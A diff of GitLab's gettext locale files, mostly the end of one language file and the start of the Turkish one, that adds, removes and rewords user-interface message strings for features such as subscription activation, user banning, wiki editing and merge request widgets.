@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31118,6 +31788,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31340,6 +32013,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31494,9 +32170,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -31636,6 +32309,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -31666,7 +32342,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -31689,6 +32365,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -31880,6 +32559,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -31925,6 +32607,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -31943,9 +32628,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32249,9 +32931,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32318,12 +32997,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32351,6 +33024,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32414,9 +33090,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32459,9 +33132,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32585,7 +33255,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -32687,9 +33360,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33023,6 +33693,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33065,9 +33738,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33092,6 +33762,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33143,9 +33816,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33176,12 +33846,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33191,6 +33855,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33242,6 +33909,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33417,9 +34087,6 @@ msgstr[1] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33534,9 +34201,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -33654,13 +34318,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -33690,9 +34354,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -33890,6 +34551,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34115,6 +34779,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34358,6 +35025,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34517,6 +35187,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -34838,6 +35511,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -34847,6 +35523,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -34955,27 +35634,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35108,6 +35805,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35129,6 +35829,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35240,6 +35943,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -35805,15 +36511,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -35853,9 +36559,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -35883,16 +36586,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -35925,9 +36628,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36170,6 +36870,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36278,6 +36981,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36296,12 +37005,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36311,6 +37026,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36332,9 +37053,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36503,6 +37221,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -36707,6 +37428,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -36818,9 +37542,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37103,10 +37833,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37145,6 +37875,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37175,9 +37908,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37375,9 +38105,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -37713,6 +38440,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -37954,6 +38720,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38031,7 +38800,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38132,6 +38901,9 @@ msgid_plural "merge requests"
msgstr[0] ""
msgstr[1] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38192,9 +38964,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38222,10 +38991,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38267,9 +39033,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38285,12 +39048,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -38694,6 +39463,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -38817,6 +39592,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/tr_TR/gitlab.po b/locale/tr_TR/gitlab.po
index 5d181366b51..2e1d33c898b 100644
--- a/locale/tr_TR/gitlab.po
+++ b/locale/tr_TR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: tr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:22\n"
+"PO-Revision-Date: 2021-06-01 20:42\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -267,6 +267,11 @@ msgid_plural "%d issues successfully imported with the label"
msgstr[0] "%d sorun etiketle başarıyla içe aktarıldı"
msgstr[1] "%d sorun etiketle başarıyla içe aktarıldı"
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] "%d katman"
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr "GitLab Inc. ile hangi bilgilerin paylaşıldığı hakkında %{link_star
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr "Rol izinleri hakkında %{link_start}daha fazla bilgi edinin%{link_end}"
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}sn"
@@ -849,9 +857,6 @@ msgstr "%{state} epik"
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr "%{userName} (birleÅŸtiremez)"
msgid "%{userName}'s avatar"
msgstr "%{userName} kullanıcısının profil resmi"
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr "%{user_name} profil sayfası"
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr "'%{name}' aşaması zaten var"
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr "Silinmiş kullanıcı"
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr "Bir dosya deÄŸiÅŸtirildi."
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr "Proje, dosyalarınızı depoladığınız (depo), çalışmanızı planladığınız (sorunlar) ve belgelerinizi yayınladığınız (wiki), %{among_other_things_link} bir yerdir."
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr "Harici depolama isteğini tanımlayan güvenli bir erişim anahtarı."
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
